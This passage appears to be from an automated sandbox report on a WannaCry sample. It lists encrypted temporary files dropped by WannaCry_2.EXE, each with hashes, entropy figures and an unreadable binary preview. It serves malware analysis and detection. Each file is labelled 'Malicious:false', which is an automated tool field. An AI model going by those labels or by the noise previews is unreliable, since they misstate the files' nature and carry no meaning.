                                                                                                      SHA-512:C6FE589C59A32851F1C0F6E0F260F8D91AC7E752C1D0406C1A9D8A76AD57D3E295F70F05B26082066AC81989A5DA4ADFE81BA5329FD2D3A70E3F0DDB6526D77D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.:.H...x]@.f.b....c..eLv|......-geD.e..{.n7.n.`A.*AI%.~.....T.m.S.....56`...sg...H._d....?.^>.)..I.%......!.....2....vT.@..*..l"....d.......h....e.!`..<.UI&..`>...47...2...\8......b~..^A........[.(.m.".y)LL.Y0...C.A./.]..th.}..FLOPt...../r..:x...x...=.l..S.U|].xb.15.a'W...@....Q...|MbOj...Vj.;.....D..;....(?K.xb-..:....p.....g.`&j...;..^s....|.+/@.mDa.......j.`.....h........%p$1C.....OU1(0{..w*?..J#Qb...E.Z...~.O...@....I..}#F5>....v...77.....,]...k...>."..XTU.<...{..../..4.*.[..F.e:.D.8{+P,$....k,.......k.4..JOr...q..*...K...].....P, .Qo..'9........c..D.%..j..Q]d&~l..8.M......1.....d.....@.{..^....7D.Bu.L........?Mr....kz..........&......tN....>.2}.}.......+.........#..u..>v.%B.oY.\.>(l..G3f0.".R.6..6.....}.>p?...m....!..........^7ZG<..H........a.>n...c.1$2z.L_.....E.}BAb{..C.H..yK...b...j....*A.|W...:._$..P i^..x..}J..9$.q..;.....#.B.k,..2@B....C...... /w8.. ..I........"R..@Ug.R...t..._Z.....T.MWw..h....K.-..~Y&w.d..!{;.w.....*I......;.Lx7b.

                                                                                                      C:\Users\user\AppData\Local\Temp\84.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.828713080905346
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:m09iESWkyRjDQO3O5CsgAVcyEJ7+MLyUsypLUu5BLJI:h0ESWXtDQBdVciMf4gLy
                                                                                                      MD5:30C2011FE04DAB545489E75B4E523679
                                                                                                      SHA1:11BDB0D47B397F594FFD977000994DB4F0C52FB9
                                                                                                      SHA-256:1BAA9C6D4E63D5E20106C3AD3CA3FE8A17A2E15DA4A4AED70890476EF610776D
                                                                                                      SHA-512:C47826547BDA7FE288853A1B6B3E6043914A30F9830422B6FE8039748DF918BDA7E727610F036C3DDCF5B3D5E28A13D1571FF63E15638AD914C31A6B9D11928D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:........6..G.+hU.(.y..N7HR.....5.ov..b.8|.<'..y...6....Q.M.g......mt...EvBD.N-:H".4..Yx..W.....}#..|g._.M~......6I ^\3..K;..rWL....)@...#:.b&...!..*.....H..>.(...q.Hl.w$.....>..(.h...S.h).A.~.......K..M..F[..:doe...}...I.......qBJk<...7O.(..uT.L..lY,..4..r..t...f.vG..*.,?...=LARi....I.nb.{...m...0....S.....N....U..........T......9s5......}..H.T^.t..\V\..T.J.a..RF.=.a...."..-..y...nr.-h/|Y.H.._.E.....7..|S.a.o.......D....(...EG8..S.'.g...c.g.,......zG-.."....\...!>...!...!....lFcdl..O..."..{..x..q4..^.....mp.!..SW...F...^......v|....AI.....a.g..J..}v.....r.j.......oU6B..rm.|........L{...P...?.&&2.......Yc..'.%.BV.-..<.H...pay.*/.,..J@1%>...z.'j........*...C.j.,0A..e>...yH..@...h.....{`.K........6.....0..xa n..6.Cf.....c....U..Ct..........b....q...Gh....X..9w....y.E).4.{z..6.....]..?..A..g..X...s..1/.C;.9..gM...PR...7.{.ih.....q{.b=..$>-G.X[.J.7<....]..`.J..'..ea..(...N..Dm...9w.eV.?..".,...,.b1..jI.f...<.[.&w..._....+lB.M.. ..._.o...3...

                                                                                                      C:\Users\user\AppData\Local\Temp\85.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8452241513932
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:EjPp2L+FgBi1+mEDqXVYmoB0kz4DbUMORGhA8:Z+FgBi1YqlmPMOGhA8
                                                                                                      MD5:A318B664160971AE5362D39650CDB81C
                                                                                                      SHA1:E459C0A71E8AD52311327ADCE3C51BF83D430AC8
                                                                                                      SHA-256:621208BE237578CCB92469BAAE2BB711F5964A4893466E4318B0CD1934B426B7
                                                                                                      SHA-512:2D12FF98F17A2BC80345331A2760285DFB4176925E99B5FDC55F4548C6ED8AB3E3DC95B3FF8F4D49BCC86637F407422644FC798A0A630B9CA51AD491384EDC37
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:B`.Z...t.h. .V....,..j1./<..,"]...f...u..:d;.......l`..R..<.K._..1.e./....4yS....6.gV.....~....o........E$.>..%..P.'.. .NB...9.=.......i...0....F...".r..7G.O...~9.(.......`.%..|.f....U=..S.rm.\.fZ)$.-x.:K.y..j.z.x.....B...-..K..$..\.P..wk.T.{.......#...H...K.........lz...\.....+....+.$..{.J.'...Z..uZM.d.[. sC..X.QV...Tu0..N>(x}..~)..0...j.W. .....J.F+..4...O...A.7..5..%...~....sB".0..H.A<.4p...`Q...[.....^....z...KTMTn.gBBe...5....Uk_....3.?...qz....n..?RV.*.V..>.Ka<.u..;cX.....`.,.5...^..~.oC.....(..G....vL..A:.K..C.D[s...sN.:d.*e..F.E....Xbz......._u..'.T7.c...n.a<....z.zd1.|eMMW...g%.Z.;........Iu.M.....OS6H.Y..t...v...Q....3.........B>_.U..K....?h b.s.....U.;7........"...].I....Z..y.0.d|(...0A1..vJc..Ub5...u.>.f...Im.4.Y...->..O.Aqsa+..4..]l*.._..B...<.W...g.@...W.i2.o.....$0.u..Qo5k....XZ..\-|\..).....^...E9...]-.......Q.Dd...[.8...(J..A...{.2....&+.A..!..}.-.Z..1C].x...t.F=|..,...7."...."...e.&9.G.F.J..\{...;.....<LdZ.8.E.WN....$.

                                                                                                      C:\Users\user\AppData\Local\Temp\86.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.816652956305946
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:pyK9Q8eaaUk6XRTIdTuQHZ3c6RUesqoQr65jVoJtz9k9Kp:4K28pk6XRTIdTnZ3c6iewQeRCJ/c2
                                                                                                      MD5:BE304670F4CB16273FBDD244E3B9767F
                                                                                                      SHA1:2AE9F19FFD6CCB615C8AD6ED2D0747D8A22A6BF3
                                                                                                      SHA-256:41472AD84A35989CF13E92D3989E528E39712A9BDAB64A80CE126666C48CC3C1
                                                                                                      SHA-512:F409963C4BBA711E8B80430693F38181BF2A60A90EB53BDB92815F50596CFA986714011232F8DC800882FB774C4C03352CF0633A9BAF901C86F20AFA1A031EF7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...o..D....a..~C....`6#@0.....p._..=_Y"1y.`.@=...F.mJ......wBR21p..+..X..x..h..<....^4.|."0.~.;..#...Q...m..W`VN.1.LR!......Y....3B..oS..`.%-|y.@...&..X1........U.2.....S..c..N.C.S...5.+q.9....%....q...0..*...*`.t.....~.........}e...%..(.(..*iC!CND..d....4v.........J.p....?.em..M.qF..5.9...o....{B..-3OATX.KH..c..p.i@.C4n....Xe'..D...6.|.....LY...~...(.I.Cb.........T......:w.....d../..yD.>...Y...3...0%.(..D...X.XfF.<.,......VwU.......A..:..K...o..V..\ n1HY.4..k.u._....s.T@oX.*.6....T.r...Ut.....W...../3....E.vq|.!.../..].....%.$...x..3.g,8My."H..=w.Q]...?\L.u}v.I.o........w....Q)6.0|...{M$d....p..,....=n......O.t.~C.V.0j#aj..P.^........,....M....^......?..0..R!.jot.zv.}.;.....9..L.i.W....Ye...2..=Po.#.$>k....._Y..".q..$4.Y...<..'H...}s.@.v.l...,5.a...Z...F..1.G...".&.x..."...#.]..BH.....M?....r..e_.m.F.K.....&..1j.C.IO.m>....W.C.O.8..^_....]i..5 ".t.WV...l|.8..U..!.E...7B......y5oe.bq.,..........xD..6R.{:r-k.e.&&1.7...V.!m=:...YtR...!....

                                                                                                      C:\Users\user\AppData\Local\Temp\87.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.80541335879663
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:kUSOWw8doyZwgfAA7VVCARedr71lB0zcN6cTmRr/7:wanybAMUd3BcDYmRr7
                                                                                                      MD5:C5609B4FA7CDDB9C7A839CC52912B139
                                                                                                      SHA1:FEEDDB975871C84AF20CDAD3280065467A658D6C
                                                                                                      SHA-256:168984123FA7BCA53C6C1F05C5B4AB0AA7399D3B2D570477400C6E4C6E1C0725
                                                                                                      SHA-512:9F40BEE524FDAF13BAC9C8D0264CFB748C0576D20402042773726107979CD0F24DB6D7E89AF91BE16DBEE140B46C5FDB559D145C921D6C0BD36AC932828AF1CB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.Fd.c7._$R#.<x.Z=...sWL+..PyL..]j.`...3..Tn....[....-...d....T.|+../T.t..A.....z..k]S.'..W.?.s..%V..".,...q..|...>L.o........}Ar.n..%^....;..... 4...%.?.2j...3,62... .....Qn&....BP .OU.*..D..6.W2.DL.Vy$m@vQ#q.6#V..TY....d.S..L..a.........=ug.....:P.../....H.......".W_.DL.P..^@............X....Y......._..j....R...;\E..U..U..W./\:...?|{...d..22@'..r,..q...s....0.EV.*....v .,.T..\g..."..eixy..3b...!;.......G.#.....1..9G..f.+.....SN\O.j.......c-..a2j....o...!...Na.TX..*h..i4qH...ir4...i)s...`.....$......R...... .J%.....^....a........%.>x.Y.w...#..{....0O{..1..Cf..k.O..._...V.I.k."F...q...p<.!..a......prCb...z.R.8..J........X....U...{...y.M..D...R...b}.IU89.R...?.....C....*....;-.E.n.Hl*.....;..RN1.v...N..u...H.6.!f..El...\Ei#.*{.j...t..(.w...C..I..~W%m/X.$....C>..1.j`..-....$...{..c!...A..;>........X..l..(..S....&.QG...4 i.C9JYO7Y~....?~\.....~LQ..z..uw.J.!..(......R.......y@Q`Vp.:.bY.!m.M..y.pZ.g....6L (...#..%.{!..R`.|..4..

                                                                                                      C:\Users\user\AppData\Local\Temp\88.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.806791920926176
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Dv+ZeQyQeZ0xX+pjEZavHBQelHy6gjT1c7Wjeh4:D2peyqjRPj1gjT1Bd
                                                                                                      MD5:650E4FDB96DF6CA631DCC912E1DF3E70
                                                                                                      SHA1:A6E17169231C57C9F1177F96DBD240D275229BD3
                                                                                                      SHA-256:633126B117A724E7E98007589E580485189ECD337490E4D3E854DD4E8419F679
                                                                                                      SHA-512:B16732428597F475DD3D7E83960BA4A9ED69ECEDA8E587E90C7A6D30F2F86E070602751302537DCB633E6EEE45DC7EE92CC41DAA24A7F0E8F2A5C8B5DB0E53D4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:EhOXH..I....q...ZY./.~t._.rg,,..^..>;.|<...gnS.8F..|.^5..[...LX...}...z..>..G%.....}.7.2h...}.A.=G{.+.H....`....M.#R.p#...ZK.ti...W\}..L&..$.B....l..?W....%v.<....#b."....=1.....<7.x.....`.G..y3i.....87.@N....k/...:#..*........6,WV.=...D1t(...Yi{.....<x....Wh.`.C.R_.UWN.A.u....$[.j...oy!.....P.v..?+..2.H5.4o8.+."...%...O...m....%.h-..>..M8i....9.@.|..5.....PL.!.=...<.T...G....T.).rV1.w.a..I...N..z.......#..j.....F`)6...%V..p7...MP{..PX.C oDj&.....u.x.M.....P.|..!O.mr.........M.Y<<{.<....V.;.oS.q.veO..6<.UA.A.j.`.z..0.m..Vw)|.!......ZX..G......R.?....b:yf.MS).c'^..................._.O............x.'M..].2.H.}...K....f..7.#P.:t....&.z4Xc.Y.S.X...pX...6~.<..)..?">z..M....U@%d...B.:7.c....$...K.F]....~.\ Ju..[....O_.......;....8....l.]..u...N.f.+5..D..E3w....q...C..O...`..(*1..P@.f....r.Z....v...9`.N.....Kdx...bl.;.:...C......3....G7.xfX.l..N...\ ....=..l........o........Dh..RCX$...e.U.......`..].7Dg8].>.4..>.y\Za...r._....d.P60...0

                                                                                                      C:\Users\user\AppData\Local\Temp\89.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:OpenPGP Secret Key
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.787654840626023
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:K0SGzlE8SdqKSRnhchzAwkRz0i+u7BaCGQQnwi:rSGx9SK0MR45uVaCGQBi
                                                                                                      MD5:725AE305313253C018128B9893BDB862
                                                                                                      SHA1:5138A737F3CD30906111B2530442F7EA4C773EA4
                                                                                                      SHA-256:E7288B9AC0148AD75DC77810CEAC14A79F29317B8B6F5CE081187CA9D56A5E41
                                                                                                      SHA-512:82F9B256CD6D78E5C7359471C87CB7EA4E999831C0B20CD41BF275F427A4F86EF1693485A78EF1712E01952461154CEE42D30979126B66264C97745B29779A4B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.(...hB....b.O..Z;.}C.=.$.>>*.BI.&%;.g.z..*.(..u.J....7..P..Y.A.L.LZ...s....)N.u'#6..a4.....X....h............Z=...$.:.......e..vib.._.Z...]..]$......}l:...z..XW+{..6"........:..X......H..l.kW....g.....H?...@...x......:........l....,N..3#H..`.4...8..65...#.]...1....^.E,\.~.#..]\..N.W$..Ar.!.3.G$# m.<.....\...3....G..; ..Q...}<.m5...>P.'.......,...n...tjr-}9W.i.V.....pK......y'....a._,.....)l.r......q}....g)..o......d).9a..^w...`r.pE..D...a...k\.;"..]....j..js8I)....C....e......)..g#....1,....h.(.N.Ye...;T..W.?.....I.....U.....z./iK....x..5r/x..........|.l.5['lK.@$...Hl.cg...I.?J.B.Jo..Y.$.........|..m.o..:..Qx....er..z.c../...\....J..3..i....K.......$W..%..V.Y...]..=m.|yU...Jqi...[{J.]J.i...&.K...'u...m.S.......f.}.......W..H.#.m.%.X..W..9...J.^.q....@#u3../.....t...I.}..jVg....*..[..jT.6....os*r..C.kb........%|.N7/.............X..t.\hH........:;..w...H..>.|..7(.|.K.B..2.uG..B....J.3.../KUwo7.^B."..Q.%..b...`........-..6.M.'{..JR....S..I..

                                                                                                      C:\Users\user\AppData\Local\Temp\9.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.787262195671529
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:3LGRjj/xhTjZUN9fLxk4ikDxNSgaEp8mifcP7Tf1Dw2HKlx:3i19Jj6N9fLxk49Thzpd5zL22qlx
                                                                                                      MD5:A8637B39F4B43A55B9C1ADF029EF0E3B
                                                                                                      SHA1:C07698ABFCFF231BCA0B373655BBFFD274B3FE3A
                                                                                                      SHA-256:B87C3FD7795B9B7AF2AC61D7654E3AEBCE3F209059FFE23736FD1949880B67C0
                                                                                                      SHA-512:3DCD6ED639DBD780582522EE0796DACE5D67E0A0B5AB796856CEA34A007DB9EDDE7500DF8687B2602C512789ACF6A9BDBF5D90FD1A71620F2926C77F5022007D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Vz.....$a.K=U$[...Z....Y..s.[.C.Z.`e....m..S..C..2..<0-I.....K*.....s5_.W.......Tg6X......<.$......]x..$.....Q...u}1...;^.H.|..c.a..Uf.cy.9.f8......]....z;..T....FWl..%.`2q.a.`....).;.E...K|..j...-....H....'.H.......e.E...2.f.!..|0.a&.D%..#...4..U....F.W.......L.9.....@..Piw..n.khWv.....[...<..X.a9x"5.{..X.I55..a|.....T...`|...1'.|..N.....H......#_:.0-..g.=...k.?~...F..X..v..).H.z....U%.4X.1..h<.....".....h.t....NN..F....=....#..gl.0y......4....U.N.B5.i.M....N.).....).G:. ..Z......6?..z...[.iGh..\..v..:.........+.T..K.b&..K..L..%..4.........1..P...u.....y..$.........k.F.3..._q..U.m.9."..t..L...UV..q.+q.......{Sx>...s.w..p.....+.S.4.8.D.........I.a....C..%....96kq.W...A...u....U..Hr0.rk.i......'s.&uG.....M..=&..6.......6..Z..yh)G.6"'%.;.../..r.eJ.......l....RR..3G[<........&u./4Y.....H....,.%.].2.C.l.v..M.C......N]S.2{O._>.#Gz@FU..I.y\....{.V.0.Nt.....U..1.jR....n...?cgI.>E...../..b.#i...4.B..x..h!D.psQZ....... ....G.....y...2.R.L0:

                                                                                                      C:\Users\user\AppData\Local\Temp\90.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.841990082420993
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:9xz1roo/h2itJYa7/WFupEed5aQm00yIz3+LZ26d/foX:bbh2N6/WFu20aQmDyIL+LZNQX
                                                                                                      MD5:87843F06EF7D85B2F9B9D171C3464FB5
                                                                                                      SHA1:1F9F58D69E41D48349436BA315B041DAA9E9A270
                                                                                                      SHA-256:A5A97C9678E9B2068581D78620B2653C7751E3603071B2DD454A7ACECA9AF109
                                                                                                      SHA-512:E366F74261751BF157BC9F7817603DC5296475AD09582AF0F832D868610117ADDCB5987B4F86A5CBA7E60D3A53D9469B03DD40B83D821FC4B79435EF4B5C6AD4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:A.0.%..........~.Z).~.,........t..S..*u....ay..N\.`?W...i....v...oe....h>e..cZ....vu..y.s.....xz(....^...Z. .....@/..D.......J.5.U.....jgM.z..T/...[.............;..].....K.a.Z:W.....lK..A..7..J.......R.!.....I...0..+J...D......m...._.2>... .. ....}........f.p{N.....?......^....N. .....6#.Bs.Yz..&E.!./w.}Z.........pQ.|...q..Q:..N.....ALM..."e.....>.x. y>X....id..!s...#L$.....t%..9sm.5......LH3...>...;)..R..,^....I..9...<Ix7......4..C.6$. F.]E|.....9.....6..v.g..O.......s....P~HS?+[.r.1...<.a=....../vg.C..3H..A.W.L...d.Z.n....=.u)"..&a..~..... ....Z.....{Sf%...!..j....].I.h.n..L.....;Z.........-...>}.v...@h0M.:+-...f.B9Ee\.p.B.a.v7d....;.63..v*#g.E.j.V...C.XPc.7.u. .dR..........P`.....4......yC..;X...Z.j..)...<.c...zGIp$.a...S....<..Du/7A.M{r...<..M>.8....`x.#j.N)....%.\Uk.2<....I.)TS{......;.^.G&j..g......-q.,.b..a._....|...0.."_N.w.I..^..liE.....q.U.w.....DN.........Jh..^.I...w..|O..K?..+*.5o9.z..`.....v..n.4~.a8#1.....Q..kW..C.".Y

                                                                                                      C:\Users\user\AppData\Local\Temp\91.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.781176585455347
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:gL4JY61AzsqLHKmIqrdqBh2/aq2vZN8tFKr+nJL:E6SzsqVImc2/nuytFKr+
                                                                                                      MD5:80B427092E31245D52632147B322D959
                                                                                                      SHA1:9A918A057B8ECC874E148E8FE96BCFCFDF7D1FE2
                                                                                                      SHA-256:4D2E9FFB8A5BF7002A97AE26EE3DAC59EDD030C177732555BA9695005D0442FF
                                                                                                      SHA-512:4D6A4FD7345860D8F67499024EA800787AF8BC2D5A374B56F52CE4AD6C0EC36E430697417FF0BC3AFF32A8FB25F19EF3342A5DA2C1045EE3CD9C8EEF785DBC3D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..p.*....4$.S^m>T.H.?...!f."......s.<l....$'...$9.57...Ls.L..W.B.;.......&).0..R.i..c6.x.X...+..t.lR.'..AF.Um.+.........H./Ni...o....FY.Wj.`....k.f.s..."...e/..R.pk....]..n..|.......F{4/.zG&.x.....K_..+f'.....e.x._G|..lWa.O.[...".....\h.#...}.n....}zf....,{v.`Y....}..:.xse..v..3..h..x...$1....AtN.L.0{..v....g.n.4../...m......6.k^.f.>..C.)...|............. 9.!...{.w.k.F."tB...'..I.......-..pS\....6.....p..G.J.c.m....q.D....].J..l..Wi{fM.#..G......4k.......]..>............1Z.6.z........_..%...t;...u.9..X..Eo.B+s;XX..~........o..$.....O.A......M.....-....z...W..t.V(<H.U...4...."...{.XdZ.E..........b.].....u.%g...OL.NI....V....tg..\..?..oRRM....S=....?...Q.I.........H.@V.<.....v.`..3.B..........u.D;....`...D...d......qr....*..<8 .n*V...?x;.\h....?.l..^.bz!...[..c.=U.;....pM....5&R6.R+......ki.z;..?...{%.f..{.H.cx.bv..M.>9.p.&.D.7..........G.!LuYo....hD--.....c...S...z.&.F..d=]...#.s..u.{.....B..6.....x...1.aT...Tt.........{_u..L..RAQ[..GF.

                                                                                                      C:\Users\user\AppData\Local\Temp\92.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.808234793825234
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:SagMTPAdjK09f5L9uYskK9X75s+kXbdFsOpqHWS8kN7eudfZc0:SVvdjK85gebX5FsJo8ey
                                                                                                      MD5:01788CD9C75A4B0215191AF0B5AE9C5E
                                                                                                      SHA1:A8CC02B49CF6985AA3BA4883AB7084C6C2ADCCAC
                                                                                                      SHA-256:3EFEDA1CB9EE4EDD3F9550447AAC2C209A2B42078BBDBD2C512980AEADA0DD56
                                                                                                      SHA-512:3FCF44E990AF69E6B3425379650B6915D7E22AD1832ECB5B4456707B3CDF63475645FC90CD1581B0A17CA368CC534DCCD42B79F9DCA61E179A5141C3F9787712
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Ty.....%...3T.&.J.&a..{......z..(.q.\...U0....@+.~..K..o).4.........[:...z.{..3......J}...^...c.......O.../h.33...h.m.-.SGR:...X......%.D....*.A}.v..).s&.3\<.z..x...X.....9..........Hlw.p...D;...9x.sy.`..l$..2.UP<....m..3...4qHY1f3..&.1.#.j".Ga..;".......f.~;...:6..+...NP..akG..R_.d..j.....B.^.p5..y:..-..F.V...]S..)+.b..6..7.....z.i+..5..Dv.?.z.:..H.BU.....k.{..1..I9.*#.....]..B.>......F[.......h9].....j..9....a......b.h..~1I........P.)b...P.,.Q........2...rD..bN3...).....9..a=.)[.i..{../......Z..AUf!....&y.....o^v.+h..eh'`..(..O.v.V.`..:...A............./../~Gq.J.n.5.......R...y1...D.1..^....R.H=. .... .".S..CZo\d.@.@.E.T..Mv.E..=..O.....?2..%]I[.&..A..].........C.6..]m.%k...(..i..%q+..~..>E....g.r..I....^.~.d...h^..D0....m.cb...l*./..)6U.4....B.K...w.cX].Y..v..!...>w(....{.|..N..l.r.T..sI......5..}...od.G.....[S.3 }.N.....z...p...J.j..5"J...d...N.m..3..U.....7........F.....O.f....jl.1.XU~...HD.P<...nO..}f'.R.=KCP..=A..8.Z...ZQ..;.$..=hUw]I8.v..e

                                                                                                      C:\Users\user\AppData\Local\Temp\93.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.813518834462079
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:n1mVY1rJIXGSfQnC9SmOeTn0Kd1J+BTEo/V3hqtWRSf59ViOR:n0VY1iXGwQnC9br0g1iFd3hcR3E2
                                                                                                      MD5:BF32691980764C60D9EBF6F458A61DBE
                                                                                                      SHA1:34BA0DB905548E6EFFE751AF22F8B4B1504D1724
                                                                                                      SHA-256:096B7F9C8C103ADE49F3E7BB1C73B63475B88FCAAA517ACB43212B5A91191710
                                                                                                      SHA-512:A86DB6828C5388F20F43FB5FB22A9371FF991FF005575B72C330823FC873E1E05D37EF27A1A862802EA946592319D40D4817A115435703C2E5407EF7F5CEA99E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...d.)c0.:...Fv.].G..x.9.c...R{0B.;..2n.|.T+n,.r.U...^.k....@%.`.0.X..tw>(.9..]3.....B..m.....H..w.Y.%+".d7.:...[..^......X..s...........tY...]...B8=U.C;.`.....UA..=...Y.n..\L.4'.d..@}..N1.......(.j.z...s....|......9.)g.7.U.`./..rO.O......3(.3=.....@....>.( ...&(z.V.7".e9...f...zV..@.CZ{._...rs...|}f..!L.)<.9.YE+.A.Ck.8...]..\9...,..o..#.l..a.:N..6.......V.....~.....v.D.D.Ad....w..y.../.....M7v_.^U..",w........@,pY`.=...m6..N.aJ.B..~e.4....^.\..2.....1..e...uu....R...n..j..'...Z...$..^y.\..?...(.{........./..R....`B7...e.I..Z..'......R..K.C?.Tu....NK..>..l......n'?.G[.=7.B.X..;.4.+.....!..].@.m..D...d?E. .K.....'p2.;s..RB.,..z...).........'\......|...{..@..Wic.s.3y....s.C..p.R.CK.g.6[V...m.j....1.....o.....iQ..".3..|.....n....M..A....mn*....K.|.B..<..V.B.....5.>s...>6.#;.I.....S.J......,...(2.j.]C..gIQ./[...}j.....r..k.R.b.I.........[.\..O..1.....F.:^Fc2.........m.W.ZE......Z.},.g...#.....n.r.y..A....#Y`O.~'v_..w....V.

                                                                                                      C:\Users\user\AppData\Local\Temp\94.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.803745843603796
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:75HPzslXoyijicfd6bhr0v2bD45PH4K2L0oNUjZ3T0MX:7hPQ4Xx8try2bsPH4h3NtMX
                                                                                                      MD5:83EB49EAD5A54E4627E41976B5CC34C4
                                                                                                      SHA1:CBC003AF0648684EAA467319A68735E3857BCF8F
                                                                                                      SHA-256:65AA7FC326739763127A84CBE6EC20C223F4AC216FD19DC7D6FBBC8FAE5212D2
                                                                                                      SHA-512:3BAF408383B8F7D61255455571D880413FFDC6D2E7E3DD78D9D7DBB60ACB07FA6C468D64802498418C10E62ECC912B773BFADEE9B3AF6EDFD53D7DA78FDBB8A2
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..".J.......;eR...Q.......[Kr.u..%....".......j.E....v......j...."....F.........c.R.+.;....].$vv&.......x.?............{x...jnQ...9c......"...^...a...a...|.X.BKg..s..c...J4a'*......X ._Y.%..O.&.W`........<.Lf......=..R...x..0H2R..k..-..&.o=..qXd...8....B...s3 ......&Ks...c..&..........!.......9.F..+a.].zR..G......{r..=..4kVO".vW..>_..ju"...%.,.%..G.*X......|...E..R(.X...lL.\.%l..{.].h.g...gJa*wU...(..8....]dwS.Z......!y....=+..B...},.(..C.lt.L...$g...P..r....C..c.....!..IL.R..K..([."...l..(.<o...!.]......2u4}t....(9ZQ2.u;.....+..KjD+....../~...V.M.g7.....cx....P%..~..^q..u.C.V5.!`X...#...........!.S..iDjfmKJq.S....W..c...<!..k^`.sW.4h......y..4+....$VT....i..../...4..i.7.-V..Mt..zD.p./.EP.....F..a....Y.F.R.]).=5.I.4.(.....diy...3c.....fo[..3.><..uW....oV...k^.._6.h$.A.Xe..|..... NUo..`..0....O.8... .=.]m.:G.M}^F'........}.;.VF....38..b.....,.U..D.*.}...~0mlK^B....+w.`..{.1...'...."J.+AW.ND.................1.C.......:Jc.><*j8..3..p..

                                                                                                      C:\Users\user\AppData\Local\Temp\95.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.798208539309246
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:mLoSIz09psvaQwWaSDFoU6/T//nVWJLhQzYLsL75LxNF9:mL1II9ALjNNY/4JLSzNL75Ll9
                                                                                                      MD5:1E8B90643F5911371763D02F079BCAA0
                                                                                                      SHA1:389BF8F36089F44C7D275E6C560ED1B051AC1EAB
                                                                                                      SHA-256:BB248A2F6932B91D542061BA229988F821DE0D3ACD369835017D86C482DE0F1A
                                                                                                      SHA-512:89DB9416134E963B1BEDA454D0BD6BBBCAC57076DAEED13F5330B33F314DF7ED71F039DD40C2EE682BC0D8A642DF24259424D726ECB04F4B7DDA9EDB1FDCF188
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
